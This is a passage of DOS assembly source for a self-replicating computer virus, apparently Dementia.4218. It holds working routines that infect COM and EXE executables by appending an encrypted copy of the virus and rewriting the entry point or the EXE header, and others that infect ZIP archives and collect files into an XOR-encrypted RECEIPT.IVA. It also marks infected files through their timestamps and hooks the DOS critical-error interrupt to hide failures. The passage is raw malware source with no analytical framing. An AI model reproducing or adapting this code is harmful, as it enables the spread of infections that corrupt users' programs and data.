	     loop    decrypt_next

	     mov     ax,ds		 ; AX = segment of data buffer
	     add     ax,40h		 ; AX = segment of pathname
	     mov     es,ax		 ; ES =    "    "     "

	     push    ds 		 ; Save DS at stack
	     push    es 		 ; Save ES at stack
	     pop     ds 		 ; Load DS from stack (ES)

	     mov     ah,47h		 ; Get current directory
	     xor     dl,dl		 ; Default drive
	     xor     si,si		 ; Zero SI
	     int     21h
	     pop     ds 		 ; Load DS from stack

	     mov     ax,es		 ; AX = segment of pathname
	     add     ax,04h		 ; AX = segment of end of pathname
	     mov     es,ax		 ; ES =    "    "   "  "     "

	     xor     di,di		 ; Zero DI
	     mov     al,'\'              ; AL = backslash
	     stosb			 ; Store backslash
	     xor     al,al		 ; AL = zero
	     stosb			 ; Store zero

	     push    es 		 ; Save ES at stack
	     mov     ah,2fh		 ; Get disk transfer area address
	     int     21h
	     mov     [bp-26h],es	 ; Store segment of disk transfer a...
	     mov     [bp-28h],bx	 ; Store offset of disk transfer ar...
	     pop     es 		 ; Load ES from stack

	     push    ds 		 ; Save DS at stack
	     mov     ax,cs		 ; AX = code segment
	     add     ax,(code_end-code_begin+0fh)/10h+48h
	     mov     ds,ax		 ; DS = segment of disk transfer area

	     xor     dx,dx		 ; Zero DX
	     mov     ah,1ah		 ; Set disk transfer area address
	     int     21h

	     lea     dx,receipt_iva	 ; DX = offset of receipt_iva
	     nop
	     call    create_file
	     mov     bx,ax		 ; BX = file handle of RECEIPT.IVA
	     mov     [bp-14h],ax	 ; Store file handle of RECEIPT.IVA
	     pop     ds 		 ; Load DS from stack

	     pop     ax 		 ; Load AX from stack
	     mov     dx,01h		 ; Don't store backslash
	     call    create_recei

	     mov     bx,[bp-14h]	 ; BX = file handle of RECEIPT.IVA
	     call    set_pos_sof

	     mov     ax,cs		 ; AX = code segment
	     add     ax,(code_end-code_begin+0fh)/10h+48h
	     mov     ds,ax		 ; DS = segment of disk transfer area
	     mov     es,ax		 ; ES =    "    "   "      "      "
encrypt_rece:
	     mov     cx,400h		 ; Read one thousand and twenty-fou...
	     call    read_file
	     cmp     ax,00h		 ; Read all of the file?
	     je      set_dta_addr	 ; Equal? Jump to set_dta_addr

	     push    ax 		 ; Save AX at stack
	     xor     dx,dx		 ; Zero DX
	     sub     dx,ax		 ; DX = -number of bytes actually read
	     mov     cx,-01h
	     call    set_pos_cfp

	     pop     ax 		 ; Load AX from stack
	     push    ax 		 ; Save AX at stack

	     mov     cx,ax		 ; CX = number of bytes actually read
	     xor     si,si		 ; Zero SI
	     xor     di,di		 ; Zero DI
encrypt_ipt_:
	     lodsb			 ; AL = byte of RECEIPT.IVA
	     xor     al,0ffh		 ; Encrypt byte of RECEIPT.IVA
	     stosb			 ; Store encrypted byte of RECEIPT.IVA
	     loop    encrypt_ipt_

	     pop     ax 		 ; Load AX from stack
	     mov     cx,ax		 ; CX = number of bytes actually read
	     call    write_file

	     jmp     encrypt_rece
set_dta_addr:
	     call    close_file

	     mov     ds,[bp-26h]	 ; DS = segment of disk transfer area
	     mov     dx,[bp-28h]	 ; DX = offset of disk transfer area
	     mov     ah,1ah		 ; Set disk transfer area address
	     int     21h

	     mov     ax,cs		 ; AX = code segment
	     add     ax,(code_end-code_begin+0fh)/10h+40h
	     mov     ds,ax		 ; DS = segment of data buffer

	     xor     dx,dx		 ; Zero DX
	     mov     ah,3bh		 ; Set current directory
	     int     21h

	     push    cs 		 ; Save CS at stack
	     pop     ds 		 ; Load DS from stack (CS)

	     push    cs 		 ; Save CS at stack
	     pop     es 		 ; Load ES from stack (CS)

	     lea     si,receipt_iva	 ; SI = offset of receipt_iva
	     nop
	     lea     di,filename	 ; DI = offset of filename
	     nop
	     mov     cx,0dh		 ; Move thirteen bytes
	     rep     movsb		 ; Move RECEIPT.IVA to filename

	     jmp     open_filenam
call_mark_:
	     mov     bx,[bp-08h]	 ; BX = file handle of ZIP file
	     call    infect_mark

	     mov     bx,[bp-08h]	 ; BX = file handle of ZIP file
	     call    close_file

	     mov     bx,[bp-0ah]	 ; BX = file handle of !#TEMP#!
	     call    close_file

	     lea     dx,temp_file	 ; DX = offset of temp_file
	     nop
	     call    delete_file
inf_zip_exit:
	     call    int24_load

	     pop     es ds di si dx cx bx ax

	     mov     sp,bp		 ; SP = stack pointer

	     pop     bp 		 ; Load BP from stack

	     ret			 ; Return!
	     endp

infect_com   proc    near		 ; Infect COM file
	     push    bp 		 ; Save BP at stack
	     mov     bp,sp		 ; BP = stack pointer
	     sub     sp,04h		 ; Correct stack pointer

	     mov     ah,00h		 ; COM executable
	     nop
	     nop
	     mov     cs:[com_or_exe],ah  ; Store COM executable

	     mov     ax,ds:[00h]	 ; AX = word of original code of CO...
	     mov     word ptr cs:[origin_code],ax
	     mov     al,ds:[02h]	 ; AL = byte of original code of CO...
	     mov     cs:[origin_code+02h],al

	     call    encrypt_copy

	     call    set_pos_eof
	     mov     [bp-04h],ax	 ; Store low-order word of filesize
	     mov     [bp-02h],dx	 ; Store high-order word of filesize

	     push    ax 		 ; Save AX at stack
	     mov     ax,cs:[tst_filesize]
	     cmp     ax,01h		 ; Don't test filesize?
	     pop     ax 		 ; Load AX from stack
	     je      calc_buf_seg	 ; Equal? Jump to calc_buf_seg

	     cmp     dx,00h		 ; Filesize too large?
	     jne     inf_com_exit	 ; Not equal? Jump to inf_com_exit
	     cmp     ax,1000h		 ; Filesize too small?
	     jb      inf_com_exit	 ; Below? Jump to inf_com_exit
calc_buf_seg:
	     add     ax,(code_end-code_begin)
	     jb      inf_com_exit	 ; Filesize too large? Jump to inf_...

	     mov     ax,cs		 ; AX = code segment
	     add     ax,(code_end-code_begin+0fh)/10h
	     mov     ds,ax		 ; DS = segment of data buffer

	     mov     cx,10h		 ; CX = number of bytes to add to f...
	     mov     ax,[bp-04h]	 ; AX = filesize
	     and     ax,0000000000001111b
	     sub     cx,ax		 ; CX = number of bytes to add to f...

	     mov     ax,[bp-04h]	 ; AX = filesize
	     add     ax,cx		 ; AX = offset of virus within file
	     mov     [bp-04h],ax	 ; Store offset of virus within file

	     call    write_file_

	     mov     cx,(code_end-code_begin)
	     call    write_file

	     mov     al,0e9h		 ; JMP imm16 (opcode 0e9h)
	     mov     ds:[00h],al	 ; Store JMP imm16

	     mov     ax,[bp-04h]	 ; AX = filesize
	     sub     ax,03h		 ; Subtract size of opcode JMP imm16
	     mov     ds:[01h],ax	 ; Store 16-bit immediate

	     call    set_pos_sof

	     mov     cx,03h		 ; Write three bytes
	     call    write_file
inf_com_exit:
	     mov     sp,bp		 ; SP = stack pointer

	     pop     bp 		 ; Load BP from stack

	     ret			 ; Return!
	     endp

infect_exe   proc    near		 ; Infect EXE file
	     push    bp 		 ; Save BP at stack
	     mov     bp,sp		 ; BP = stack pointer
	     sub     sp,04h		 ; Correct stack pointer

	     mov     ah,01h		 ; EXE executable
	     nop
	     nop
	     mov     cs:[com_or_exe],ah  ; Store EXE executable

	     call    set_pos_eof
	     mov     [bp-04h],ax	 ; Store low-order word of filesize
	     mov     [bp-02h],dx	 ; Store high-order word of filesize

	     and     ax,0000000000001111b
	     mov     cx,10h		 ; CX = number of bytes to add to f...
	     sub     cx,ax		 ; CX =   "    "    "   "   "  "   "

	     mov     ax,[bp-04h]	 ; AX = low-order word of filesize
	     mov     dx,[bp-02h]	 ; DX = high-order word of filesize
	     add     ax,cx		 ; Add number of bytes to add to fi...
	     adc     dx,00h		 ; Convert to 32-bit
	     mov     [bp-04h],ax	 ; Store low-order word of pointer ...
	     mov     [bp-02h],dx	 ; Store high-order word of pointer...

	     call    write_file_

	     push    bx 		 ; Save BX at stack
	     mov     ax,[bp-04h]	 ; AX = low-order word of pointer t...
	     mov     dx,[bp-02h]	 ; DX = high-order word of pointer ...

	     mov     bx,ds:[08h]	 ; BX = header size in paragraphs
	     mov     cl,0ch		 ; Divide by four thousand and nine...
	     shr     bx,cl		 ; BX = header size in sixty-five t...
	     sub     dx,bx		 ; Subtract header size in sixty fi...

	     mov     bx,ds:[08h]	 ; BX = header size in paragraphs
	     mov     cl,04h		 ; Multiply by paragraphs
	     shl     bx,cl		 ; BX = header size
	     sub     ax,bx		 ; Subtract header size from filesize
	     sbb     dx,00h		 ; Convert to 32-bit
	     mov     [bp-04h],ax	 ; Store low-order word of pointer ...
	     mov     [bp-02h],dx	 ; Store high-order word of pointer...
	     pop     bx 		 ; Load BX from stack

	     mov     ax,ds:[14h]	 ; AX = original instruction pointer
	     mov     cs:[instruct_ptr],ax
	     mov     ax,ds:[16h]	 ; AX = original code segment
	     mov     cs:[code_seg],ax	 ; Store original code segment

	     xor     ax,ax		 ; Zero AX
	     mov     ds:[14h],ax	 ; Store initial IP
	     mov     cs:[initial_ip],ax  ; Store   "     "

	     mov     ax,[bp-02h]	 ; AX = high-order word of pointer ...
	     test    ax,1111111111110000b
	     jz      calc_ins_ptr	 ; Zero? Jump to calc_ins_ptr

	     jmp     inf_exe_exit
calc_ins_ptr:
	     mov     cl,0ch
	     shl     ax,cl		 ; Multiply by sixty-five thousand ...

	     mov     dx,[bp-04h]	 ; DX = low-order word of pointer t...
	     mov     cl,04h		 ; Divide by paragraphs
	     shr     dx,cl		 ; DX = low-order word of pointer t...
	     add     ax,dx		 ; AX = initial CS relative to star...
	     mov     ds:[16h],ax	 ; Store initial CS relative to sta...
	     mov     cs:[initial_cs],ax  ;   "      "    "     "     "    "

	     push    ax 		 ; Save AX at stack
	     mov     ax,ds:[0eh]	 ; AX = initial SS relative to star...
	     mov     cs:[stack_seg],ax	 ; Store initial SS relative to sta...
	     mov     ax,ds:[10h]	 ; AX = initial SP
	     mov     cs:[stack_ptr],ax	 ; Store initial SP
	     pop     ax 		 ; Load AX from stack

	     add     ax,(code_end-code_begin+0fh)/10h
	     jae     store_stack	 ; Above or equal? Jump to store_stack

	     jmp     inf_exe_exit

	     nop
store_stack:
	     mov     ds:[0eh],ax	 ; Store initial SS relative to sta...
	     mov     ax,100h		 ; AX = initial SP
	     mov     ds:[10h],ax	 ; Store initial SP

	     push    bx 		 ; Save BX at stack
	     mov     ax,[bp-04h]	 ; AX = low-order word of pointer t...
	     mov     dx,[bp-02h]	 ; DX = high-order word of pointer ...

	     mov     bx,ds:[08h]	 ; BX = header size in paragraphs
	     mov     cl,0ch		 ; Divide by four thousand and nine...
	     shr     bx,cl		 ; BX = header size in sixty-five t...
	     add     dx,bx		 ; Add header size in sixty-five th...

	     mov     bx,ds:[08h]	 ; BX = header size in paragraphs
	     mov     cl,04h		 ; Multiply by paragraphs
	     shl     bx,cl		 ; BX = header size
	     add     ax,bx		 ; Add header size to filesize
	     adc     dx,00h		 ; Convert to 32-bit
	     mov     [bp-04h],ax	 ; Store low-order word of pointer ...
	     mov     [bp-02h],dx	 ; Store high-order word of pointer...
	     pop     bx 		 ; Load BX from stack

	     mov     ax,[bp-04h]	 ; AX = low-order word of pointer t...
	     mov     dx,[bp-02h]	 ; DX = high-order word of pointer ...
	     add     ax,(code_end-code_begin)
	     adc     dx,00h		 ; Convet to 32-bit

	     mov     cl,07h
	     shl     dx,cl		 ; Multiply by one hundred and twen...

	     push    ax 		 ; Save AX at stack
	     mov     cl,09h		 ; Divide by pages
	     shr     ax,cl		 ; AX = low-order word of pointer t...
	     add     dx,ax		 ; DX = number of bytes on last 512...
	     pop     ax 		 ; Load AX from stack

	     and     ax,0000000000011111b
	     jz      store_pages	 ; Zero? Jump to store_pages

	     inc     dx 		 ; Increase number of bytes on last...

	     jmp     store_pages_

	     nop
store_pages:
	     mov     ax,200h		 ; AX = total number of 512-bytes p...
store_pages_:
	     mov     ds:[02h],ax	 ; Store total number of 512-bytes ...
	     mov     ds:[04h],dx	 ; Store number of bytes on last 51...

	     mov     ax,ds:[0ch]	 ; AX = maximum paragraphs to alloc...
	     cmp     ax,10h		 ; Maximum paragraphs to allocate ...?
	     jae     store_maximu	 ; Above or equal? Jump to store_ma...

	     mov     ax,10h		 ; AX = new maximum paragraphs to a...
store_maximu:
	     mov     ds:[0ch],ax	 ; Store maximum paragraphs to allo...

	     call    set_pos_sof

	     mov     cx,20h		 ; Write thirty-two bytes
	     call    write_file

	     call    set_pos_eof

	     call    encrypt_copy

	     mov     cx,(code_end-code_begin)
	     call    write_file
inf_exe_exit:
	     mov     sp,bp		 ; SP = stack pointer

	     pop     bp 		 ; Load BP from stack

	     ret			 ; Return!
	     endp

encrypt_copy proc    near		 ; Move virus to data buffer and en...
	     push    bx 		 ; Save BX at stack

	     mov     ah,2ch		 ; Get system time
	     int     21h
	     mov     bx,cx		 ; BX = hour and minute
	     xor     bx,dx		 ; BX = 16-bit random number

	     mov     ah,2ah		 ; Get system date
	     int     21h
	     xor     bx,cx		 ; BX = 16-bit random number
	     xor     bx,dx		 ; BX = decryption key
	     mov     dx,bx		 ; DX =     "       "

	     mov     cs:[decrypt_key],dx ; Store decryption key

	     pop     bx 		 ; Load BX from stack

	     cld			 ; Clear direction flag
	     mov     ax,cs		 ; AX = code segment
	     add     ax,(code_end-code_begin+0fh)/10h
	     mov     es,ax		 ; ES = segment of data buffer

	     push    cs 		 ; Save CS at stack
	     pop     ds 		 ; Load DS from stack (CS)

	     xor     si,si		 ; Zero SI
	     xor     di,di		 ; Zero DI
	     mov     cx,(code_end-code_begin)
	     rep     movsb		 ; Move virus to data buffer

	     push    es 		 ; Save ES at stack
	     pop     ds 		 ; Load DS from stack (ES)

	     lea     si,crypt_begin-02h  ; SI = offset of crypt_end
	     mov     di,si		 ; DI =   "    "      "
	     mov     cx,(crypt_begin-crypt_end-02h)/02h

	     std			 ; Set direction flag
encrypt_loop:
	     lodsw			 ; AX = word of plain code
	     xor     ax,dx		 ; Encrypt word
	     stosw			 ; Store encrypted word

	     loop    encrypt_loop

	     cld			 ; Clear direction flag

	     ret			 ; Return!
	     endp

int24_store  proc    near		 ; Get and set interrupt vector 24h
	     push    bx dx ds es	 ; Save registers at stack

	     mov     ax,3524h		 ; Get interrupt vector 24h
	     int     21h
	     mov     word ptr cs:[int24_addr],bx
	     mov     word ptr cs:[int24_addr+02h],es

	     push    cs 		 ; Save CS at stack
	     pop     ds 		 ; Load DS from stack (CS)

	     lea     dx,int24_virus+110h ; DX = offset of int24_virus + 110h
	     mov     ax,2524h		 ; Set interrupt vector 24h
	     int     21h

	     pop     es ds dx bx	 ; Load registers from stack

	     ret			 ; Return!
	     endp

int24_load   proc    near		 ; Set interrupt vector 24h
	     push    dx ds		 ; Load registers from stack

	     mov     dx,word ptr cs:[int24_addr]
	     mov     ds,word ptr cs:[int24_addr+02h]
	     mov     ax,2524h		 ; Set interrupt vector 24h
	     int     21h

	     pop     ds dx		 ; Load registers from stack

	     ret			 ; Return!
	     endp

int24_virus  proc    near		 ; Interrupt 24h of Dementia.4218
	     mov     al,03h		 ; Fail system call in progress

	     iret			 ; Interrupt return!
	     endp

calc_crc32   proc    near		 ; Calculate CRC-32 checksum
	     mov     ax,cs		 ; AX = code segment
	     add     ax,(code_end-code_begin+0fh)/10h
	     mov     ds,ax		 ; DS = segment of data buffer

	     add     ax,40h		 ; AX = segment of CRC-32 table
	     mov     es,ax		 ; ES =    "    "    "      "

	     xor     di,di		 ; Zero DI
	     xor     cx,cx		 ; Zero CX
gen_crc_tab:
	     xor     dx,dx		 ; Zero DX
	     xor     ax,ax		 ; Zero AX

	     mov     al,cl		 ; AL = counter
	     push    cx 		 ; Save CX at stack
	     mov     cx,08h		 ; Calculate each CRC-32 table entr...
gen_crc_loop:
	     clc			 ; Clear carry flag
	     rcr     dx,01h		 ; Rotate DX through carry one bit ...
	     rcr     ax,01h		 ; Rotate AX through carry one bit ...
	     jnc     carry_loop 	 ; No carry? Jump to carry_loop

	     xor     dx,0edb8h		 ; DX = high-order word of CRC-32 t...
	     xor     ax,8320h		 ; AX = low-order word of CRC-32 ta...
carry_loop:
	     loop    gen_crc_loop

	     mov     es:[di],ax 	 ; Store low-order word of CRC-32 t...
	     mov     es:[di+02h],dx	 ; Store high-order word of CRC-32 ...

	     add     di,04h		 ; DI = offset of next CRC-32 table...

	     pop     cx 		 ; Load CX from stack
	     inc     cx 		 ; Increase count register
	     cmp     cx,100h		 ; Generated enough CRC-32 table en...
	     jne     gen_crc_tab	 ; Not equal? Jump to gen_crc_tab

	     call    set_pos_sof

	     mov     dx,0ffffh		 ; DX = high-order word of CRC-32 c...
	     mov     ax,0ffffh		 ; AX = low-order word of CRC-32 ch...
read_block:
	     push    ax dx		 ; Save registers at stack
	     mov     cx,400h		 ; Read one thousand and twenty-fou...
	     call    read_file
	     cmp     ax,00h		 ; Read all of the file?
	     je      calc_crc_xit	 ; Equal? Jump to calc_crc_xit

	     mov     cx,ax		 ; CX = number of bytes actually read

	     pop     dx ax		 ; Load registers from stack

	     xor     si,si		 ; Zero SI
cal_crc_loop:
	     push    bx cx		 ; Save registers at stack
	     xor     bh,bh		 ; Zero BH
	     mov     bl,[si]		 ; BL = byte of file
	     inc     si 		 ; Increase index register

	     xor     bl,al		 ; Exclusive OR (XOR) byte of file ...
	     mov     cl,02h
	     shl     bx,cl		 ; Multiply by four
	     mov     di,bx		 ; DI = offset of next CRC-32 table...

	     mov     al,ah		 ; AL = low-order byte of low-order...
	     mov     ah,dl		 ; AH = high-order byte of low-orde...
	     mov     dl,dh		 ; DL = low-order byte of high-orde...
	     xor     dh,dh		 ; Zero DH

	     mov     bx,es:[di] 	 ; BX = low-order word of CRC-32 ta...
	     xor     ax,bx		 ; AX = low-order word of CRC-32 ch...
	     mov     bx,es:[di+02h]	 ; BX = high-order word of CRC-32 t...
	     xor     dx,bx		 ; DX = high-order word of CRC-32 c...

	     pop     cx bx		 ; Load registers from stack

	     loop    cal_crc_loop

	     jmp     read_block
calc_crc_xit:
	     pop     dx ax		 ; Load registers from stack

	     xor     dx,0ffffh		 ; DX = high-order word of CRC-32 c...
	     xor     ax,0ffffh		 ; AX = low-order word of CRC-32 ch...

	     ret			 ; Return!
	     endp

create_recei proc    near		 ; Create RECEIPT.IVA file
	     push    bp 		 ; Save BP at stack
	     mov     bp,sp		 ; BP = stack pointer
	     sub     sp,12h		 ; Correct stack pointer

	     mov     [bp-08h],ax	 ; Store number of file specifications
	     mov     [bp-10h],bx	 ; Store file handle of RECEIPT.IVA
	     mov     [bp-02h],dx	 ; Store store or don't store backs...
	     mov     [bp-06h],ds	 ; Store segment of file specificat...

	     mov     ah,3bh		 ; Set current directory

	     push    es 		 ; Save ES at stack
	     pop     ds 		 ; Load DS from stack (ES)

	     xor     dx,dx		 ; Zero DX
	     int     21h

	     mov     ax,[bp-08h]	 ; AX = number of file specifications
	     xor     cx,cx		 ; Zero CX
	     mov     cl,al		 ; CL = number of file specifications
	     xor     dx,dx		 ; Zero DX
find_first_:
	     mov     ds,[bp-06h]	 ; DS = segment of file specification
	     push    cx 		 ; Save CX at stack
	     mov     cx,0000000000000111b
	     call    find_first
	     push    dx 		 ; Save DX at stack
	     jnc     find_next_ 	 ; No error? Jump to find_next_

	     jmp     fnd_nxt_loop

	     nop
find_next_:
	     mov     ax,cs		 ; AX = code segment
	     add     ax,(code_end-code_begin+0fh)/10h+48h
	     mov     ds,ax		 ; DS = segment of disk transfer area

	     mov     dx,1eh		 ; DX = offset of filename
	     call    open_file
	     mov     [bp-12h],ax	 ; Store file handle of file within...

	     mov     bx,[bp-10h]	 ; BX = file handle of RECEIPT.IVA
	     call    set_pos_eof

	     push    ds 		 ; Save DS at stack
	     mov     ax,cs		 ; AX = code segment
	     add     ax,(code_end-code_begin+0fh)/10h+44h
	     mov     ds,ax		 ; DS = segment of end of pathname

	     mov     cx,40h		 ; Write sixty-four bytes
	     mov     bx,[bp-10h]	 ; BX = file handle of RECEIPT.IVA
	     call    write_file
	     pop     ds 		 ; Load DS from stack

	     mov     cx,0eh		 ; Write fourteen bytes
	     mov     dx,1eh		 ; DX = offset of filename
	     call    write_file_

	     mov     ax,cs		 ; AX = code segment
	     add     ax,(code_end-code_begin+0fh)/10h+4ch
	     mov     ds,ax		 ; DS = segment of data buffer

	     mov     bx,[bp-12h]	 ; BX = file handle of file within ...
	     call    set_pos_eof
	     mov     ds:[00h],ax	 ; Store low-order word of filesize
	     mov     ds:[02h],dx	 ; Store high-order word of filesize

	     mov     bx,[bp-10h]	 ; BX = file handle of RECEIPT.IVA
	     mov     cx,04h		 ; Write four bytes
	     call    write_file

	     mov     bx,[bp-12h]	 ; BX = file handle of file within ...
	     call    set_pos_sof
copy_file:
	     mov     bx,[bp-12h]	 ; BX = file handle of file within ...
	     mov     cx,400h		 ; Read one thousand and twenty-fou...
	     call    read_file
	     cmp     ax,00h		 ; Read all of the file?
	     je      call_fnd_nxt	 ; Equal? Jump to call_fnd_nxt

	     mov     cx,ax		 ; CX = number of bytes actually read
	     mov     bx,[bp-10h]	 ; BX = file handle of RECEIPT.IVA
	     call    write_file

	     jmp     copy_file
call_fnd_nxt:
	     mov     bx,[bp-12h]	 ; BX = file handle of file within ...
	     call    close_file

	     call    find_next
	     jc      fnd_nxt_loop	 ; Error? Jump to fnd_nxt_loop

	     jmp     find_next_
fnd_nxt_loop:
	     pop     dx cx		 ; Load registers from stack

	     add     dx,0eh		 ; DX = offset of next file specifi...

	     dec     cx 		 ; Decrease count register
	     cmp     cx,00h		 ; No more files?
	     je      copy_name		 ; Equal? Jump to copy_name

	     jmp     find_first_
copy_name:
	     xor     cx,cx		 ; Zero CX
find_first__:
	     push    cx 		 ; Save CX at stack
	     push    cs 		 ; Save CS at stack
	     pop     ds 		 ; Load DS from stack (CS)

	     lea     dx,file_specifi	 ; DX = offset of file_specifi
	     nop
	     mov     cx,0000000000010111b
	     call    find_first
	     jc      receip_exit	 ; Error? Jump to receip_exit

	     pop     cx 		 ; Load CX from stack
	     push    cx 		 ; Save CX at stack

	     jmp     test_count

	     nop
found_dir:
	     push    cx 		 ; Save CX at stack

	     mov     cx,01h		 ; Don't examine disk transfer area
test_count:
	     cmp     cx,00h		 ; Examine disk transfer area?
	     je      examine_dta	 ; Equal? Jump to examine_dta

	     call    find_next
	     jc      receipt_exit	 ; Error? Jump to receipt_exit

	     dec     cx 		 ; Decrease CX

	     jmp     test_count
examine_dta:
	     pop     cx 		 ; Load CX from stack
	     inc     cx 		 ; Increase count register

	     mov     ax,cs		 ; AX = code segment
	     add     ax,(code_end-code_begin+0fh)/10h+44h
	     mov     es,ax		 ; ES = segment of end of pathname
	     add     ax,04h		 ; AX = segment of disk transfer area
	     mov     ds,ax		 ; DS =    "    "   "      "      "

	     mov     si,15h		 ; SI = offset of attribute of file...
	     lodsb			 ; AL = attribute of file found
	     test    al,00010000b	 ; Directory?
	     je      found_dir		 ; Equal? Jump to found_dir

	     mov     si,1eh		 ; SI = offset of filename
	     lodsb			 ; AL = byte of filename
	     cmp     al,'.'              ; Directory?
	     je      found_dir		 ; Equal? Jump to found_dir

	     mov     ax,[bp-02h]	 ; AX = store or don't store backslash
	     mov     di,ax		 ; DI = offset of end of pathname
	     mov     si,1eh		 ; SI = offset of filename
	     cmp     al,01h		 ; Don't store backslash?
	     je      copy_name_ 	 ; Equal? Jump to copy_name_

	     mov     al,'\'              ; AL = backslash
	     stosb			 ; Store backslash
copy_name_:
	     lodsb			 ; AL = byte of filename
	     cmp     al,00h		 ; End of filename?
	     je      store_zero 	 ; Equal? Jump to store_zero

	     stosb			 ; Store byte of filename

	     jmp     copy_name_
store_zero:
	     mov     dx,di		 ; DX = offset of end of pathname
	     xor     al,al		 ; AL = zero
	     stosb			 ; Store zero

	     mov     ax,[bp-08h]	 ; AX = number of file specifications
	     mov     bx,[bp-10h]	 ; BX = file handle of RECEIPT.IVA
	     mov     ds,[bp-06h]	 ; DS = segment of file specifictions
	     push    cx 		 ; Save CX at stack
	     call    create_recei
	     pop     cx 		 ; Load CX from stack

	     mov     ah,3bh		 ; Set current directory

	     push    es 		 ; Save ES at stack
	     pop     ds 		 ; Load DS from stack (ES)

	     xor     dx,dx		 ; Zero DX

	     mov     di,[bp-02h]	 ; DI = offset of end of pathname
	     xor     al,al		 ; AL = zero
	     stosb			 ; Store zero

	     int     21h

	     jmp     find_first__
receipt_exit:
	     pop     cx 		 ; Load CX from stack
receip_exit:
	     mov     sp,bp		 ; SP = stack pointer

	     pop     bp 		 ; Load BP from stack

	     ret			 ; Return!
	     endp

open_file    proc    near		 ; Open file
	     mov     ax,3dffh		 ; Open file
	     xor     cx,cx		 ; CL = attribute mask of files to ...
	     int     21h
	     mov     bx,ax		 ; BX = file handle

	     ret			 ; Return!
	     endp

close_file   proc    near		 ; Close file
	     mov     ah,3eh		 ; Close file
	     int     21h

	     ret			 ; Return!
	     endp

find_first   proc    near		 ; Find first matching file
	     mov     ax,4e00h		 ; Find first matching file
	     int     21h

	     ret			 ; Return!
	     endp

find_next    proc    near		 ; Find next matching file
	     mov     ah,4fh		 ; Find next matching file
	     int     21h

	     ret			 ; Return!
	     endp

load_info    proc    near		 ; Get file's date and time
	     mov     ax,5700h		 ; Get file's date and time
	     int     21h
	     mov     [bp-04h],cx	 ; Store file time
	     mov     [bp-02h],dx	 ; Store file date

	     ret			 ; Return!
	     endp

infect_mark  proc    near		 ; Infection mark
	     mov     ax,5701h		 ; Set file's date and time
	     mov     cx,[bp-04h]	 ; CX = file time
	     mov     dx,[bp-02h]	 ; DX = file date
	     and     cx,1111111111100000b
	     or      cx,0000000000000001b
	     int     21h

	     ret			 ; Return!
	     endp

read_file    proc    near		 ; Read from file
	     xor     dx,dx		 ; Zero DX

read_file_   proc    near		 ; Read from file
	     mov     ah,3fh		 ; Read from file
	     int     21h

	     ret			 ; Return!
	     endp
	     endp

create_file  proc    near		 ; Create file
	     mov     ah,3ch		 ; Create file

	     push    cs 		 ; Save CS at stack
	     pop     ds 		 ; Load DS from stack (CS)

	     xor     cx,cx		 ; CX = file attributes
	     int     21h

	     ret			 ; Return!
	     endp

write_file   proc    near		 ; Write to file
	     xor     dx,dx		 ; Zero DX

write_file_  proc    near		 ; Write to file
	     mov     ah,40h		 ; Write to file
	     int     21h

	     ret			 ; Return!
	     endp
	     endp

set_pos_cfp  proc    near		 ; Set current file position (CFP)
	     mov     ax,4201h		 ; Set current file position (CFP)
	     int     21h

	     ret			 ; Return!
	     endp

set_pos_eof  proc    near		 ; Set current file position (EOF)
	     mov     ax,4202h		 ; Set current file position (EOF)
	     xor     cx,cx		 ; Zero CX
	     cwd			 ; Zero DX
	     int     21h

	     ret			 ; Return!
	     endp

set_pos_sof  proc    near		 ; Set current file position (SOF)
	     xor     cx,cx		 ; Zero CX
	     xor     dx,dx		 ; Zero DX

set_pos_sof_ proc    near		 ; Set current file position (SOF)
	     mov     ax,4200h		 ; Set current file position (SOF)
	     int     21h

	     ret			 ; Return!
	     endp
	     endp

delete_file  proc    near		 ; Delete file
	     push    cs 		 ; Save CS at stack
	     pop     ds 		 ; Load DS from stack (CS)

	     mov     ah,41h		 ; Delete file
	     xor     cx,cx		 ; CL = attribute mask for deletion
	     int     21h

	     ret			 ; Return!
	     endp
file_begin:
	     mov     ax,0b800h		 ; AX = segment of text video RAM
	     mov     es,ax		 ; ES =    "    "   "     "    "

	     xor     di,di		 ; Zero DI
	     mov     cx,7d0h		 ; Store four thousand bytes
	     mov     ax,720h		 ; Black background color, light-gr...
	     rep     stosw		 ; Overwrite text video RAM

	     xor     di,di		 ; Zero DI
	     mov     si,(ansi_begin-file_begin+100h)
	     mov     cx,(ansi_end-ansi_begin)

	     nop
load_ansi:
	     lodsb			 ; AL = byte of ansi
	     cmp     al,0ffh		 ; Write a string?
	     jne     store_ansi 	 ; Not equal? Jump to store_ansi

	     lodsb			 ; AL = byte of ansi
	     dec     cx 		 ; Derease count register
	     cmp     al,0ffh		 ; Write a single character?
	     je      store_ansi 	 ; Equal? Jump to store_ansi

	     push    cx si ds		 ; Save registers at stack
	     xor     cx,cx		 ; Zero CX
	     mov     cl,al		 ; CL = size of string
	     lodsb			 ; AL = byte of ansi
	     mov     bl,al		 ; BL = low-order byte of offset of...
	     lodsb			 ; AL = byte of ansi
	     mov     bh,al		 ; BH = high-order byte of offset o...
	     mov     si,bx		 ; SI = offset of string within ansi

	     push    es 		 ; Save ES at stack
	     pop     ds 		 ; Load DS from stack (ES)

	     rep     movsb		 ; Move string to text video RAM
	     pop     ds si cx		 ; Load registers at stack

	     add     si,02h		 ; Add two to index register

	     sub     cx,02h		 ; Subtract two from count register

	     jmp     ansi_loop

	     nop
	     nop
store_ansi:
	     stosb			 ; Store a byte of ansi
ansi_loop:
	     loop    load_ansi

	     int     20h

ansi_begin   db      20h,07h,0ffh,82h,00h,00h,0deh,0ffh,83h,01h,00h,0ffh,1dh
	     db      00h,00h,77h,0ffh,9ch,86h,00h,0b0h,08h,0b0h,71h,0ffh,1ch
	     db      00h,00h,0dfh,0ffh,04h,23h,01h,0ffh,0dh,0e5h,01h,0b0h,71h
	     db      0ffh,06h,0f4h,01h,0ffh,68h,5eh,01h,0ffh,1eh,0c4h,01h,0b0h
	     db      08h,0ffh,06h,82h,02h,0dfh,07h,0ffh,04h,8ah,02h,0ffh,10h
	     db      0ech,01h,0ffh,5ah,0f8h,01h,0dch,07h,0dch,07h,0ffh,0bh
	     db      0f2h,01h,71h,0ffh,05h,8Ch,02h,0ffh,1dh,0e1h,02h,0ffh,08h
	     db      82h,02h,0ffh,06h,82h,02h,20h,07h,0ffh,06h,0f4h,01h,0b1h
	     db      0ffh,59h,0f7h,01h,0ffh,06h,82h,02h,0ffh,05h,42h,03h,08h
	     db      0ffh,1fh,0a4h,01h,0ffh,05h,05h,03h,0ffh,0ch,0c4h,01h
	     db      0ffh,09h,2ch,03h,0ffh,0dh,3fh,03h,0b0h,08h,0deh,0ffh,07h
